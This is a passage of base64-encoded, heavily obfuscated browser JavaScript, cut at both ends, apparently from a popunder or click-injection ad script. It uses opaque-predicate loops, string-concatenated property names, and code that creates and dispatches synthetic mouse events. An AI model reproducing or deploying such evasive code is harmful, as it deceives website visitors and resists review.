wxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtL